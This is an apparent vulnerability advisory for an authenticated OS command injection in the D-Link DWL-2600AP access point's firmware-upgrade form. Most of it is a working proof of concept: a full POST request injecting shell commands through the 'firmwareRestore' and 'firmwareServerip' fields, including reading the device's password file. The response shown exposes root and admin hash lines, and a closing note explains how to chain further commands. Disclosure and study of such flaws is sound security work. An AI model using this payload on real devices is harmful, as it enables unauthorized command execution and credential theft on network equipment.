Document Title: =============== D-Link DWL-2600AP - (Authenticated) OS Command Injection (Upgrade Firmware) Product & Service Introduction: =============================== The D-Link DWL-2600AP has a web interface for configuration. You can use any web browser you like to login to the D-Link DWL-2600AP. Affected Product(s): ==================== Product: D-Link DWL-2600AP (Web Interface) Exploitation Technique: ======================= Local Severity Level: =============== HIGH Base Score (CVSS): =============== 7.8 =============== Request Method(s): [+] POST URL Path : [+] /admin.cgi?action=upgrade Vulnerable POST Form Data Parameter: [+] firmwareRestore [+] firmwareServerip =========================== Device Firmware version : [+] 4.2.0.15 Hardware Version : [+] A1 Device name : [+] D-Link AP Product Identifier : [+] WLAN-EAP Proof of Concept (PoC): ======================= The security vulnerability can be exploited by local authenticated attackers. there is no input validation on the POST Form Data Parameter "firmwareRestore" and the Form Data Parameter "firmwareServerip" (the input are passed directly to TFTP command) which allow attackers to execute arbitrary Operating System Commands on the device for malicious purposes. The attacker has to know the credentials in order to access the Panel . For security demonstration or to reproduce the vulnerability follow the provided information in the attachement provided Screenshot1.jpg . --- PoC Session Logs --- POST /admin.cgi?action=upgrade HTTP/1.1 Host: localhost Connection: keep-alive Content-Length: 525 Cache-Control: max-age=0 Origin: http://localhost Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; User-Agent: xxxxxxxxw Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://localhost/admin.cgi?action=upgrade Accept-Encoding: gzip, deflate Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: sessionHTTP=PENcqbtRRuvmuZfPZnzuUddVIEAPADBp; clickedFolderFrameless=43%5E ------WebKitFormBoundaryBy0MsFaBOhdU6YJL Content-Disposition: form-data; name="optprotocol" up ------WebKitFormBoundaryBy0MsFaBOhdU6YJL Content-Disposition: form-data; name="firmwareRestore" ;whoami;whoami ------WebKitFormBoundaryBy0MsFaBOhdU6YJL Content-Disposition: form-data; name="firmwareServerip" ;cat /var/passwd;cat /var/passwd ------WebKitFormBoundaryBy0MsFaBOhdU6YJL Content-Disposition: form-data; name="update.device.packet-capture.stop-capture" up ------WebKitFormBoundaryBy0MsFaBOhdU6YJL-- ----------->Response-----------> HTTP/1.0 200 OK Content-Type: text/html; charset=UTF-8 /usr/bin/tftp: option requires an argument -- r BusyBox v1.18.2 (2018-02-26 11:53:37 IST) multi-call binary. Usage: tftp [OPTIONS] HOST [PORT] Transfer a file from/to tftp server Options: -l FILE Local FILE -r FILE Remote FILE -g Get file -p Put file -b SIZE Transfer blocks of SIZE octets sh: whoami: not found sh: whoami: not found root:$1$XDXDXDXD$JTedJSDYDA.pFjIToxlGA1:0:0:root:/root:/bin/sh admin:2yn.4fvaTgedM:0:0:cisco:/root:/bin/splash nobody:x:99:99:nobody:/:/bin/false Note : for testing put the values in the fields like this : ;command1;same_command1;command2;etc... ----+Discovered By Raki Ben Hamouda----+